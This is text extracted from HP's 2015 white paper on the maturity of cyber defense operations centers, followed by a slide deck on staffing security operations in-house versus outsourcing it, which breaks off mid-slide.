Measured Operations are quantitatively evaluated, reviewed consistently, and proactively improved utilizing business and performance metrics to drive the improvements. This is the ideal for maturity level for most managed service provider SOCs. Level 5 Optimizing Operational improvement program has been implemented to track any deficiencies and ensure all lessons learned to continually drive improvement. Processes are rigid and less flexible and significant overhead is required to manage and maintain this maturity level, outweighing the benefits achieved. SOCs typically have a large number of processes and procedures. SOMM offers a great architecture to help organize, maintain, and improve this body of work. For most organizations, a consolidated aggregate score of SOMM level 3 is an appropriate goal. Some areas should be rigid, repeatable, and measured while other areas should be flexible, adaptable, and nimble. The mixture of rigid and flexible processes and procedures allows for a mature SOC to provide effective monitoring with an aggregate maturity score of 3. This maturity level ensures that critical processes and procedures are documented and subject to demonstrable, measured improvement over time, while still allowing deviations and ad-hoc processes to emerge to address specific threats or situations. In practical terms, this means that any given analyst on any shift, in every region will execute a given procedure in exactly the same manner. Additionally, when an analyst finds an error or change needed in operational procedures, they can make an on-the-spot correction and all subsequent analysts will benefit immediately from the improvements. The HP SOMM assessment focuses on four major categories, each of which have several subcategories. Aspects of people, process, technology, as well as business alignment are reviewed using a mixture of observation and interview techniques. Organizations being assessed are asked to demonstrate documented proof of claims made during interviews to ensure that scores are not artificially inflated. These four main categories and all subordinate areas are scored independently using a weighted average technique and then combined to create an overall SOMM maturity score for the organization. This approach allows an organization to track maturity growth in each category or subcategory to identify areas of opportunity or strength in addition to focusing on the overall combined score. Regularly scheduled assessments allow SOCs to measure maturity growth over time. However, the growth curve is logarithmic and therefore major gains are achieved initially and then the SOC will see smaller gains in maturity as time progresses. Organizations must continue their maturity focus to avoid slipping backward on the maturity scale. SOCs with a funded and dedicated effort that leverages an existing framework and expert consulting can achieve an aggregate maturity score of 2.0 within a year, 2.5 within two years, and 3.0 within three years. Organizations that opt to build such operations independent of an existing framework or experienced program management will struggle to meet and maintain a level of 1.7.Some areas should be rigid, repeatable, and measured while other areas should be flexible, adaptable, and nimble. Busine ss People Process Technol ogyMission Deliv erablesRelationshipSponsor shipAccountabilit y FacilitiesVendor Eng agemen tGener al Skill Assessmen tsExperienc eCertifica tionsTraining Leader shipCareer P ath Gener al Technol ogy ProcessBusine ss ProcessAnalytical P rocessOper ational ProcessArchitectur e Gener alCorrelationMonit oringData Collection 8 Business white paper | 2015 report of capabilities and maturity of cyber defense organizationsIndustry medians Over the course of six years, HP has performed 118 SOC maturity assessments around the globe. This data sample set allows HP to draw conclusions about overall maturity of the cyber defense programs in place at the world’s largest companies. In each of the areas measured, the industry median score continues to fall between a 1 and 2. We see that of the areas measured, technology remains the strongest with a 5-year median of 1.73 and business is where we see the most growth. Technology has traditionally scored the highest because engineering and technology deployment tasks are usually the focus in most enterprise security organizations. Business maturity has increased significantly in the last two years presumably due to the heightened awareness of threats from high-profile breaches. People and process median scores remain lower, closer to 1.6 and 1.4. This reinforces what we see when working with companies who have a SOC as well as those that have not yet built this capability. Most organizations focus heavily on technology solutions without matching that effort with the people and process aspects of a cyber defense program. Figure 2. 2014 Median SOMM score Looking at median scores by industry vertical, we see that the retail industry from this data set is highest. We attribute this to the fact that PCI requirements for level 1 merchants combined with multiple visible breaches in this industry have driven significant investments into cyber defense programs. Even with these investments, the median maturity score is below the recommended levels and breaches continue to occur. The financial industry remains stronger due to their prevalence in cyber attacks and potential for direct financial loss from compromise.012345Median of SOMM level Median of Tech Median of People Median of ProcessMedian of Business 1.23 1.46 1.511.271.55Most organizations focus heavily on technology solutions without matching that effort with people and process. 9 Business white paper | 2015 report of capabilities and maturity of cyber defense organizationsFigure 3. Median SOMM score by industry—5 years • Healthcare organizations are becoming more aware of the value of health data and are investing more in cyber defense. These operations tend to monitor traditional network data as well as electronic medical records access for security incidents as well as fraud. These investments, especially in medium size organizations are recent and we expect future healthcare SOMM scores to trend higher. • The energy industry is investing heavily and making slow progress in cyber defense monitoring capabilities. This industry has established a number of working groups and vendors are attempting to solve industry-specific use cases such as Industrial Controls System (ICS) monitoring. Leveraging best practices from other industries for SOC is occurring in pockets, but has not yet gained wide implementation across the industry. Rolling out new security measures in these very high risk but low change environments is a tedious process and faces challenges from logistics through corporate-to-field understanding and adoption of standards. • Retail organizations have experienced coordinated point of sales (POS) system attacks, where common adversaries and tools were used across multiple companies in a short window of time. This has led to an increased use of threat intelligence and an uptick in collaboration within this vertical. Mature SOCs work this sharing of threat intelligence into their workflows and participate in sharing within their industry. Even with the increased regulation for the financial and retail industries, the median score is below the Managed level of (2) and far below the recommended level of defined (3). Looking deeper, each industry vertical is strongest in technology. The majority of industries are weakest when it comes to process. This is the area where most companies should strive to do better.01234 Energy Financial Governmen t Healthcar eManuf acturing Retail Services Technology Telecom5 1.74 1.78 1.341.65 1.241.74 1.521.86 1.12The financial industry remains stronger due to their prevalence in cyber attacks and potential for direct financial loss from compromise. 10 Business white paper | 2015 report of capabilities and maturity of cyber defense organizationsSOC maturity over time Figure 5. Median SOMM score by age of SOC The assessments performed show an incline during the development of a cyber defense organization and then a decline starting around 18 months and lasting for three or more years. The contributing factors in this dip include: • Leadership change and attrition lead to shifting goals and priorities. The position lifespan of a CISO averages two years. If a mission of the cyber defense organization is not clearly laid out, the priorities of the organization can be derailed as resources enter and leave the organization. • Poor execution of, or non-existent, fiscal planning can lead to stagnation. A three year fiscal plan (or roadmap) is recommended to ensure budget is attained and the priorities of the cyber defense organization can be worked and developed continually. • Remaining reactive to external forces rather than transitioning into a predictive or ready state by investing in data analytics, threat intelligence, conducting incident response tabletop exercises and evangelizing their research (outputs) and efforts across the businesses/organizations. • Failing to establish, maintain, or enhance their rhythm of the business (RoB); daily operations, workflow, influence across organizations and business unit, effective communication and collaboration amongst their immediate organization and across organizations. • SOC performance goals (or commitments) that are not aligned to the business of security intelligence and incident detection. Many organizations’ job descriptions and performance goals are misaligned; successful deployment and maintenance of systems or projects or ticket driven to attempt to illustrate value, hence their employees are not being effectively assessed against the core mission of the cyber defense organization. • Lack of investment and innovation in appropriate technologies, capabilities, and the personnel. • Not continuing to leverage the SIOC methodology and practices (processes and procedures) developed and executed during the initial cyber defense build-out stage.01234 Energy Financial Governmen t Healthcar e Manuf acturing Retail Services Technology Telecom5 Median o f SOMM level Median o f People Median o f Process Median o f TechFigure 4. Median SOMM score by industry by assessment area graph—5 years 0123 0 0.5 1.0 1.5 2.0 2.5 3.0 3.5 4.0 4.5 5.0 Years Leadership changes and attrition lead to shifting goals and priorities. 11 Business white paper | 2015 report of capabilities and maturity of cyber defense organizationsCustomer case studies Below are case studies of three companies, each of which had multiple maturity assessments over time. HP has worked with numerous companies to assess capability growth over a period of time and some companies will have an annual or more frequent assessment performed based on business need. Customer A Figure 6. SOMM score by SOC age—Company “A” Customer A began the project to build and staff a cyber defense center two years ago. The project was initiated with an incomplete understanding of requirement and a tight budget, leading to what was essentially a complete restart of the project after the first year. The initial effort was constrained by corporate-wide restrictions in hiring, and attempted to staff analyst roles completely through college new hire resources. While this team had some bright individuals, the overall experience of the team did not allow sufficient opportunities for peer mentoring and growth. After the first year, executive management for the corporate information security program changed. The new executive leader saw the cyber defense center as a key project, not only for the protection of the company, but also for the overall value to this company’s customers. By aligning the cyber defense capability with the company’s go-to-market efforts, additional funding and support was secured for the program. This allowed the cyber defense center to relocate from a satellite office to the company’s headquarters location. While this caused a stutter-step in continuity of efforts with resource changes, the new cyber defense center location also allowed the addition of experienced personnel from the industry, including the formation of formal security engineering and Hunt Team operations staff. Customer A’s cyber defense center is following a proven formula for creating base operations and is executing against a roadmap that is aligned with the business, securing support to maintain the upward capability projection. Customer B Figure 7. SOMM score by SOC age—Company “B”00.51.02.0 1.5 0 0.5 1.0 1.5 2.0 YearsMaturity score 00.51.02.0 1.5 0 1 2 3 YearsMaturity score 12 Business white paper | 2015 report of capabilities and maturity of cyber defense organizationsAfter years of outsourced security monitoring, Customer B realized that their cyber defense needs exceeded what their outsourced provider could provide. While this organization began, their transition to an internal cyber defense and enterprise security operations capability with good intentions and made initial gains in capability, they were not able to keep pace with industry capabilities achieve the ROI that they aspired to over the course of three years. Contributing factors to this decline were many. An initial investment was made in developing their cyber defense team, however they invested non-linearly with SIEM lagging too far behind the formation of a security monitoring team. The project team experienced high levels of turnover for key roles such as project management, affecting the continuity of the project over time. The cyber defense team experienced high levels of attrition over the course of these three years, where first there was a loss of experienced individuals with key relationships and knowledge of the organization followed by high turnover of new team members due to multiple factors. Vendor negotiations dragged on for key technology components, and rather than a streamlined security and logging infrastructure, multiple technologies and vendors remained in the environment for long periods of time—this caused confusion and complexity. Additionally, the team was slow to identify key business processes, prioritized use cases, and ultimately failed to negotiate the onboarding of critical data feeds across the organization. This customer will need to address core organization problems before they are able to progress significantly against their cyber defense program goals. Customer C Figure 8. SOMM score by SOC age—Company “C” Customer C has operated their SOC for close to a decade. An assessment at the three year mark found that their level one operations team were performing repetitive tasks, had low team morale, and that technology was not being leveraged to the level that would be expected in an organization with such a high level of investment. Level 2 cyber defense resources worked outside of the level 1 team, and with very disconnected processes and tools. While new management at this company during their first assessment had great plans to course correct and improve their overall capability, a return assessment four years later show that the capability had declined rather than improved. These declines were a result of turnover of key resources in the customer security team, continuous cost pressures from the business on the security team, and a security industry that advanced quicker than the company could keep pace with. Company C today is in a different mode of operation than it was during the first assessment and is in the process of optimizing the operational capability for efficiency and effectiveness, and plans to leverage outside expertise to leapfrog the operational challenges of the past.00.51.02.0 1.5 0 2 3 4 1 5 6 7 YearsMaturity score 13 Business white paper | 2015 report of capabilities and maturity of cyber defense organizationsFindings The four elements of security operations capability can be further broken down into assessment categories that are used in HP maturity assessments. Below are the findings and lessons learned for each of the elements: people, process, technology, and business. New findings from the most recent analysis are noted with NEW bullets. Findings from the previous State of Security Operations 2014 report5 that continue to be relevant are also included. People Having the right people can often have the most profound impact on the overall capability of a SOC. The people capability and maturity score is derived by evaluating the below major elements of the people working in, around, and leading the SOC: Assessment category Elements of assessment General Roles definition Organizational structureStaffing levelsStaff retention Training FundingRelevanceEffectiveness Certifications FundingRelevanceEffectiveness Experience IndustryOrganizationalEnvironmentRole Skill assessments FrequencyRelevance Career path Candidate poolsSuccession planningOpportunity Leadership VisionOrganizational alignmentHR supportStyle and feedbackExperienceSpan of control Skilled security resources are in very high demand. Most SOCs are struggling to find and retain skilled people. Hiring resources with the proper skills can take months, and is often simply not possible, so many organizations have turned to development programs to cultivate their analysts. Analysts are often developed from individuals who show passion and aptitude for security and come from IT administration, system support, and external roles such as law enforcement. Organizations with these development programs also benefit by ensuring that the skills taught are the exact skills required for their operations. Regions of the world where IT labor is unionized can struggle with the evolving skills and scope of IT security positions. Organizations can’t easily expand the scope of their security staff and the result can be an acceptance of outdated or limited security skills. Teams comprised of various skills and specialties (network architecture, DBA, support, automation, etc.) are generally most effective. A skills assessment should be performed across the organization yearly and any identified gaps should be filled with training or new team members.SOMM score—people Median 1.51, 5 year median: 1.55 Min 0.49 Max 2.55 NEW NEW NEW 5 hp.com/go/StateofSecOps2014 14 Business white paper | 2015 report of capabilities and maturity of cyber defense organizations• Creating a stable team and minimizing attrition is important, but the most mature enterprise security organizations realize after one to three years, most analysts will be ready to move up or out of the organization. This may result in the analyst joining another part of the IT security organization, another IT team, or another company. Cyber defense teams must prepare for this inevitability and have hiring pipelines identified before the need to hire appears. Mature SOCs have robust relationships with local universities, ancillary teams in the company, and industry groups such as Information Systems Security Association (ISSA), ISACA, Open Web Application Security Project (OWASP), and others. This allows management to be prepared to reach out and bring in new talent on a regular basis. • Cyber defense teams often produce the most well-rounded individuals in the IT, Risk, and Compliance organizations. Analysts must interact with almost every team in IT as well as many teams outside of IT. The most mature and capable organizations will have a clear understanding and appreciation for the value of these individuals and will build a culture where continual investment and clear career progression opportunities exist. • Where around-the-clock security monitoring requirements exist, 24x7 scheduling is still presenting a challenge to most organizations. Common challenges include team culture, consistency, and attrition. Reduced and minimal staffing on afternoon, night, and weekend shifts leave those personnel disconnected from the larger team dynamic and culture. Additionally, heavy reliance on written communication impacts the consistency levels or security operations. –Team culture —24x7 SOCs tend to leave the “off-shift” personnel out of the loop except for email. This leads to a feeling of individuality instead of being part of a team. –Consistency —In 24x7 SOCs, it is extremely difficult to communicate needs and wants effectively when an operational need is present, which is partly due to non-communication with shifts that aren’t in the midst of it all. –Attrition —This can be caused by the other two challenges. Both team culture and consistency across all shifts must be paramount. • Some organizations are favoring 8x5 teams rather than 24x7 operations (outsourced or internally staffed). In these models, high fidelity correlation rules and automation are leveraged for off-hour conditions, while security analysis and response activities are focused during business hours. This reduces the complexity and challenges of 24x7 operations significantly while still supporting the response requirements for many organizations. • Organizational structure has a profound impact on the capability and maturity of a SOC. The most mature operations report up through a security-, risk-, or legal-led organization, often to a chief information security officer (CISO) who reports to the CEO or to a chief risk or compliance officer. SOCs that are organized within an IT operations organization may have high process maturity, but typically struggle with effective capability. This is due to a conflict in priorities with a focus on availability and performance as opposed to a focus on integrity and confidentiality in the upper levels of the organization. 15 Business white paper | 2015 report of capabilities and maturity of cyber defense organizationsProcess For a SOC to achieve high levels of overall maturity, there needs to be a solid, current, and relevant foundation of processes and procedures that guide consistent execution of critical tasks and define expectations and outcomes. A good set of processes and procedures enable a SOC to operate in a sustainable and measurable manner, and enable the SOC to easily support compliance efforts when necessary. Without solid processes and procedures, SOCs become reliant on “tribal knowledge” of individuals. Absences or turnover of these individuals can cripple the capability of the SOC. When assessing the process dimension of SOC, HP evaluates the following elements: Assessment category Elements of assessment General Knowledge management tools Document controlCurrency of documentation Operational processes Roles and responsibilitiesIncident managementSchedulingShift turnoverCase managementCrisis responseProblem and changeEmployee onboardingTrainingSkills assessmentOperational status management Analytical processes Threat intelligenceInvestigationsData explorationFocused monitoringForensicsAdvanced contentInformation fusion Technical processes System and solution architectureData flow and data qualityData onboardingUser provisioningAccess controlsConfiguration managementUse case lifecycleMaintenanceHealth and availabilityBackup and restoration Business processes MissionSponsorshipService commitmentMetrics and key performance indicators (KPIs)ComplianceProject managementContinual improvementKnowledge managementBusiness continuity (BC)/Disaster recovery (DR) SOCs that are utilizing hunt teams are realizing value when they tie the findings back into the SOC processes. In practice, the “hunt” activity is as much about understanding normal activity that improves other detective measures as it is about directly detecting malicious activity. When attacks or patterns are detected, there must be a process that defines how that information is used and acted upon. Additionally, findings should be fed back into the real-time operations so they can be handled through regular SOC processes in the future. Successful cyber defense teams utilize threat intelligence and have built processes around its use. The consumption of this intelligence by tools and by people must be defined so it can be quickly acted upon when needed. Hybrid cyber defense teams use a combination of internal and external (professional or managed services) resources to operate their cyber defense capability. These hybrid environments require advanced maturity of their processes to avoid incidents falling through the cracks.SOMM score—process Median 1.27, 5 year median: 1.42 Min 0.42 Max 2.52 NEW NEW NEW 16 Business white paper | 2015 report of capabilities and maturity of cyber defense organizations• The most successful SOCs are using an adaptable, portable, and operationally integrated process and procedure collaboration framework such as wiki. With a wiki, organizational documentation remains relevant and fresh, and contributions can be tracked and measured as part of the SOC’s KPIs. • The most capable and mature SOCs are bringing incident handling responsibilities closer to the front line of operations teams. Some organizations are executing containment or response activities at the analyst level, and effectively responding to threats more quickly and efficiently; they are reducing incident response cost and increasing the SOC’s return on investment (ROI) by keeping workload off of CERT organizations. This shift is possible because of new technology investments, which allow for immediate forensic analysis of systems suspected of compromise. However, it is still not uncommon to find Fortune 50 companies that do not have any formal incident response capability, or rely solely on a shared responsibility that rotates through the IT organization—this is rarely an effective or sustainable approach. • While many global or multi-national companies are operating SOCs in multiple geographies, doing so in a “follow-the-sun” model to accomplish 24x7 coverage does not prove as effective as having a 24x7 staff in a single location. Follow-the-sun solutions work best when performed for regional requirements or when staffing senior roles during prime shifts in geography in such a way that they support lower tier resources in a 24x7 location. • Rotation of duties is critical in a SOC. Organizations that expect level 1 analysts to perform constant monitoring for long periods of time experience the lowest levels of capability and the highest levels of attrition. The most successful SOCs will rotate analysts through on-shift monitoring periods that alternate with other project-based tasks such as communications, research, special projects, and unstructured analysis. However, analysts should not be assigned administration tasks that are not aligned with the SOC mission as this will detract from their effectiveness. Technology The technology in a SOC should support, enforce, and measure the processes that are being executed. Technology does not provide value independent of people and process, and any implementation of technology in a SOC needs to have the necessary ecosystem in which to produce ROI. The elements of technology that are assessed in this report are below: Assessment category Elements of assessment Architecture Architectural process DocumentationTechnology coverageAlignment with business requirements Data collection CoverageData qualityConsolidationData ownershipData access Monitoring and analysis Workflow management and measurementInvestigationData visualization toolsCoverageHealth and availability Correlation AggregationNormalizationCross-technologyAsset-relevant correlationBusiness rules correlationSubtle event detectionAutomated alertingMulti-stage correlationPattern detectionDashboards and reporting General Infrastructure and endpoint management and administrationRelevancy of data collectedCurrencySOMM score—technology Median 1.46, 5 year median: 1.73 Min 0.27 Max 3.2 17 Business white paper | 2015 report of capabilities and maturity of cyber defense organizationsOrganizations who implement a universal log management (ULM) without a SIEM are failing to achieve real-time security threat monitoring and mature operations. The ULM system provides for aggregation and storage of data but not the correlation, automation, and incident workflow possible with a SIEM. In addition, many logging projects do not evaluate collected information for usability in the same way that a security-oriented SIEM project would. This often results in unexpected gaps in log collection or data format issues that are only discovered during an incident response activity, when the logs are most needed and are unusable. Many organizations are looking to deploy Big Data security analytics solutions. Big Data should be considered a problem statement, not a toolset. Tools such as leading SIEM and Business Intelligence (BI) tools are being adapted to address the opportunity for broad detection and analytics from large data sets. Tools marketed in this space vary widely in capability and ease of use. Some solutions require teams of dedicated data scientists while others operate from proprietary algorithms or threat intelligence sources. Other solutions are little more than log storage solutions that support post-incident forensics activity. Value from security data analytics solutions are most apparent where findings are able to be operationally integrated with security operations capabilities. Successful SOCs assess all aspects of their operations (people, process, technology, and business) before making drastic changes. Some organizations put the blame on technology for failed ROI or threat mitigation, which leads to a rip-and-replace of systems. These major projects leads to a reduction of maturity in operations while the new solutions are being ramped up and often do not fix the original issues. • Companies frequently purchase technology point solutions but fail to bring the data together for effective risk remediation and threat detection. A SIEM system is used by mature SOCs to correlate disparate security data and provide a single pane of glass for security analysts to monitor active threats. • Newly formed SOCs will give a level of visibility into infrastructure that organizations were unable to recognize before—often highlighting misconfigurations, deviations from reference architectures, and unknown business processes. The most successful SOCs act as a force multiplier for security technology investments across the organization by optimizing configurations and integrating technologies through analysis and response activities. • Organizations that achieve the highest levels of capability are fulfilling advanced use cases for security monitoring and analysis by leveraging SIEM technology. This often includes customizing a SIEM with business context, asset details, identity information, and intelligent correlation that evaluates data for operations and both short-term and long-term analytics. However, there are still entities that are relying on default vendor detection profiles that only address a basic set of use cases for the organization. • Privacy efforts, including regional laws, are influencing the use cases that SOCs monitor. Technology features that enable advanced security use cases such as insider threat are not universally adaptable for global or multi-national organizations based on regional privacy law. Such use cases are falling under additional scrutiny based on the current privacy regulations and chief privacy officers are becoming more aligned with enterprise SOCs. • Organizations are maximizing technological investments by implementing a use case methodology to determine which event sources to actively monitor. Technical resources are finite so each event source monitored by the SOC should have a specific associated use case. ULM projects can run in parallel to SOC build projects, but the events that will be actively monitored need to be thoughtfully defined as use cases before presentation for analysis. Operations that place successful broad log collection as a prerequisite to SOC development experience unnecessary delays and rework.NEW NEW NEW 18 Business white paper | 2015 report of capabilities and maturity of cyber defense organizationsBusiness The measurement of business functions and capability was a new addition to HP SOC Maturity Model in 2013. Basic trends are shown below and general findings and areas of assessment are below: Assessment category Elements of assessment Mission Alignment with business objectives Consistent understanding across businessAlignment of operational capability with mission Accountability Operating and service level commitmentsMeasurements and KPIsRole in regulatory compliance Sponsorship Executive support of SOCLevels of investmentOrganizational alignment Relationship Customer relationshipsAlignment with peer groups Deliverables Threat intelligenceIncident notificationsReports and artifactsOperational reports Vendor engagement Levels of supportDedicated resourcesBusiness understandingEscalations Board level and C -level visibility into security threats has led to an increased need for business-level communication on the state of organizational cyber defense and associated projects. Mature security operations organizations should be able to provide explanations of threats and incidents and their impact on specific parts of the business. Executive reports should have a high degree of automation for data crunching and be provided with a regular cadence. The SOC needs to be seen as a business enabler. Effective SOCs are often aligned with the governance, risk and compliance (GRC) or legal organizations. This alignment can give a security organization more authority to act during incidents. It can also allow for a more stable budget that is not constantly being repurposed for IT. Regardless of where a SOC sits in the organization, the business goals must be constantly acknowledged and addressed by the security organization. Interest in converged security implementations have increased this year. Successful organizations have been able to pull IT, physical and database system information into their SIEMs to identify performance issues or outages that indicate an attack-in-progress. Difficult political landscapes can restrict SOC access to the necessary system information so executive sponsorship and business alignment is necessary. • SOCs frequently fail to define a succinct mission and scope. This dilutes the organization’s perception of value due to misaligned expectations. It can also result in the SOC taking on responsibility for a variety of tasks that can cause resource strain and competing priorities. A SOC that becomes a dumping ground for tasks that do not align with the mission will lower the capability and maturity of the operation. There is a temptation in many organizations to treat a SOC as a security help desk. Those organizations that treat the SOC this way will not achieve a solid return on their investment. Not only do these tasks devalue the investment in the security analysts, but also quickly drive analysts to look for employment elsewhere. • The most capable and mature SOCs define a mission, retain executive sponsorship, and clearly and frequently communicate the mission throughout the organization. Defining service level objectives (SLOs) for the business as well as effective business-level metrics for effectiveness and efficiencies ensure sustainable business support and focus. Executive sponsorship and communication is key to creating a sustainable capability. Those organizations that fail to gain proper executive sponsorship find themselves working under tighter and tighter budgets. With the exception of managed service providers, SOCs are a cost center. When budgets are tightened, those SOCs without strong executive sponsorship will be asked to do more with less. It is important for the SOC to frequently communicate its successes to the rest of the organization, including those teams outside of IT.SOMM score—business Median 1.55, 2 year median: 1.55 Min 0.82 Max 3.24 NEW NEW NEW 19 Business white paper | 2015 report of capabilities and maturity of cyber defense organizations• A SOC may be created as a business-hours only function (8x5), an extended-hours function (12x5, 18x7, 24x7), or a hybrid of in-sourcing and outsourcing. The perceived ROI for such hybrid solutions can vary widely based on a variety of factors, but perception that security can be outsourced completely to a third party has clearly declined in favor of hybrid solutions. Organizations using this model realize that the level of capability will differ between the in-sourced and outsourced teams, and they have made a risk-based decision that the cost to fully staff with their own people is not worth the more in-depth capability. An MSS provider will never know as much about an organization as an internal team, yet there is still value in leveraging an MSS in many situations. There are still many companies that are building and operating a 24x7 capability in-house, but more are taking the viewpoint that a highly skilled, business-hours, internal team with effective tools can independently, or with the augmentation of a managed service, meet their objectives. • The most successful organizations are favoring an agile approach to project management for SOC -related projects. The dynamic threat and regulatory landscape causes traditional waterfall approaches to cyber defense projects to fail. This results in capabilities that are either late or off-the-mark for current needs. Adaptability is key for projects and continues to be key during steady state operations. • The belief that SOCs and network operations centers (NOCs) can completely merge is proving incorrect. While communication between these two teams is essential, the work being performed and the skills and expectations of the individuals performing them are unique. SOCs that treat their analyst resources as a help desk or up/down monitoring team will miss the attacks that trained and experienced security analysts can find. The perception of a SOC as an operations center that processes security alerts is changing to one that respects the high requirements for original thought, broad skills, high professionalism, and critical thinking. Leading cyber defense teams do not view the SOC analyst role as an entry-level position and hire seasoned security professionals to ensure the success of the team. The most mature cyber defense teams are staffing PhD level data scientists to extract meaning and security context from the vast data stores available to them in addition to “near real-time” monitoring staff. • Mature SOCs develop and report operational metrics and KPIs to demonstrate the value of security investments. Security metrics should measure the efficiency and effectiveness of security operations. Additionally, SOCs with strong investment support from the business are viewed as key contributors to cost avoidance and risk reduction initiatives within the organization. The single most important success criterion or measurement is accurate detection of attacks in progress. Conclusion Security operations maturity and capabilities goes beyond a technology investment. The continuation of highly publicized breaches and the effect to the entirety of a business and consumers demands ever more effective and efficient cyber defense organizations. These organizations must continually mature in all operations categories including people, process, technology and business. Based on over 118 assessments performed in 87 different SOCs over the past six years, HP has found that the majority of cyber defense organization’s maturity remains below target levels. A continual increase in sharing threat intelligence and best practices in people and process will be necessary to attain the higher desired levels of maturity. There is no “silver bullet” product or service in the marketplace that can provide the protection and operational awareness that organizations need. A continuous investment into all facets of a cyber defense organization are necessary to achieve and maintain optimal maturity. Regular maturity assessments ensure that your SOC is increasing in maturity and capability to effectively and diligently reduce risk in your organization over time. Rate this document Share with colleagues © Copyright 2015 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. The only warranties for HP products and services are set forth in the express warranty statements accompanying such products and services. Nothing herein should be construed as constituting an additional warranty. HP shall not be liable for technical or editorial errors or omissions contained herein. 4AA5-6510ENW, January 2015Business white paper | 2015 report of capabilities and maturity of cyber defense organizations About HP Enterprise Security HP is a leading provider of security and compliance solutions for the modern enterprise that wants to mitigate risk in hybrid environments and defend against advanced threats. Based on market-leading research and products from HP ArcSight, HP Fortify, HP Atalla, and HP TippingPoint, the HP Security Intelligence Platform uniquely delivers the advanced correlation, application protection, and network defenses to protect today’s hybrid IT infrastructure from sophisticated cyber threats. Learn more at hp.com/go/SIOC --- ## Source: https://montance.com/questions.php?id=76 [![pdf](content/images/icons/pdf.svg) HP - State of Security Operations 2015.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgRjdVdDYzalQ1Vm8/view?usp=sharing) HP State Of Security Operations 2015 Resource covering SOC titled 'HP State Of Security Operations 2015'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. ## Be the first to ask a question! ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgRkxYVzdRellUOE0/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgRkxYVzdRellUOE0/view?usp=sharing]** MGT517 SOC Roles: In -house versus OutsourcingManaging Security Operations: Detection, Response, and Intelligence © 2016 Christopher Crowley | All Rights Reserved | Version B01_01 2 MGT517 | Managing Security OperationsRequirements for SOC Components •Security Operations Centers are the organization’s central capability for efficient, effective monitoring and response •The Org may: Have legal requirements to have a SOC Decided to consolidate security to achieve optimization Not be able to afford SOC, but sees the value 2 3 MGT517 | Managing Security OperationsFunctional Components of SOC Components •We start by defining the functional capabilities a SOC is expected to perform •Each of these areas may be internal, partially outsourced (to accomplish 24x7 coverage, for example), or completely outsourced •Let’s briefly discuss each of the areas for context. This is the functional framework in MGT517 •If you want to hear more details, see previous webcast: https:// bit.ly/mgt517 -soc-fundamental 4 MGT517 | Managing Security OperationsFunctional Components of SOC Components •Command Center Maintains Situational Awareness and directs action Interfaces with constituents and public •Network Security Monitoring Monitors all internal assets •Threat Intelligence Discovers adversary characteristics and guides detection and response with this information 5 MGT517 | Managing Security OperationsFunctional Components of SOC Components •Incident Response Reactively addresses issues •Forensics In depth study of information assets •Self-Assessment Internal asset assessment :configurations, vulnerabilities, pen testing, exercises Compels the organization to “harden the target” 6 MGT517 | Managing Security OperationsHiring Staff Staffing •Strong technical interview process •Hire from within company into Junior positions Gives help desk and other staff a growth objective •Hire life -long learners •Hire people with a reason to stay with the company •Fight for flexible work from home positions for high demand roles, be ready with good comm toolsIn-house Hiring Guidance 7 MGT517 | Managing Security OperationsMentoring Staff Staffing •Seek funding for external training •Cultivate internal training development (One example on next slide) •Practice tasks –require staff to spend time practicing Scripts, Internal tools –2 hours per week, required Encourage external presentation by paying for travel to conferences if staff are approved for presentationsTraining, Exercise, and Practice 8 MGT517 | Managing Security OperationsStaff Development Staffing •SOC staff rotates on presenting current technique, issue or problem •This can be an unresolved problem, seeking input and assistance from all SOC areas •Opportunity to share methodology, thought processes, and tools •Should be a formal presentation (slides, Q+A)Monthly Staff Presentations 9 MGT517 | Managing Security OperationsOutsourcing Size Estimation •Most businesses approach outsourcing specialties as a sound business decision •There are arguments for and against •Explore these arguments on next couple of slides 10 MGT517 | Managing Security OperationsOutsourcing Staffing •Cost •Access specialists’ knowledge you can’t afford to hire •24x7 coverage •Experience of other environments and customers •Eliminate task of hiring (transferred to partner) •Objective 3rdparty to investigate internal threatsArguments for Outsourcing 11 MGT517 | Managing Security OperationsOutsourcing Staffing •Maintain control •Customization and tailoring •Growth and development of staff and capability •Trusted / vetted staff accessing your data •Environment baseline and organizational insight •Ownership of defense and reduction of riskArguments for In -house 12 MGT517 | Managing Security OperationsOutsourcing Size Estimation •For each of the functional components identified earlier, we’ll discuss the pros and cons of outsourcing each functional area 13 MGT517 | Managing Security OperationsSOC / Command Center Outsourcing •Your command and control capability emanates from the SOC. Transferring this control to another party isn’t advised, but frequently happens in an insourced arrangement. •Organizations outsource components of public relations •Call in function in help desk as a tier 1 call service with escalation to C2 14 MGT517 | Managing Security OperationsNetwork Security Monitoring (NSM) Outsourcing •Best to retain NSM internally •Frequently the 24x7x365 requirements and rare skillset drives business to outsource •Downside to outsourced NSM is lack of effective contextual understanding of business, minimal opportunities for correlation unless all data is sent to MSSP •Best use of outsourcing is augmenting existing competencies •Outsourcing helps assure best practices and efficiencies 15 MGT517 | Managing Security OperationsThreat Intelligence Outsourcing •With mature internal NSM, you won’t outsource threat intel Still will likely buy IP lists, for example: website categories lists for proxy •If you don’t have good internal NSM, you probably will outsource your threat intel •Outsourced threat intel has a short useful lifespan …attacks observed by RiskAnalytics during 2014, 75% of attacks spread from Victim 0 to Victim 1 within one day (24 hours). Over 40% hit the second organization in less than an hour. Source: 2015 Verizon DBIR 16 MGT517 | Managing Security OperationsIncident Response Outsourcing •IR function is a cornerstone activity •Actually a reasonable SOC function to outsource •Downsides: less customized, less agile response •Upsides of outsourcing are leveraging external competencies developed in other areas, and possibly only paying for what you use –an incentive for effective security architecture; but a double edge sword of not calling for help when you need it 17 MGT517 | Managing Security OperationsForensics Outsourcing •Host; Network; Reverse Engineering; eDiscovery •All are commonly outsourced because organizations can’t afford the expertise •Large well funded SOCs have difficulty hiring / retaining strong forensic staff •Downsides include even higher cost than internal staff, outsourced company isn’t fast enough, low value for expense 18 MGT517 | Managing Security OperationsSelf-Assessment Outsourcing •Usually retained internal to organization •Partial outsourcing is common, such as monitoring deviation of hosts and firewalls from a known good state •Could easily be outsourced, but the out -sourced party would have no incentive to help you improve your configuration. They’d be working themselves out of a jobConfiguration Monitoring 19 MGT517 | 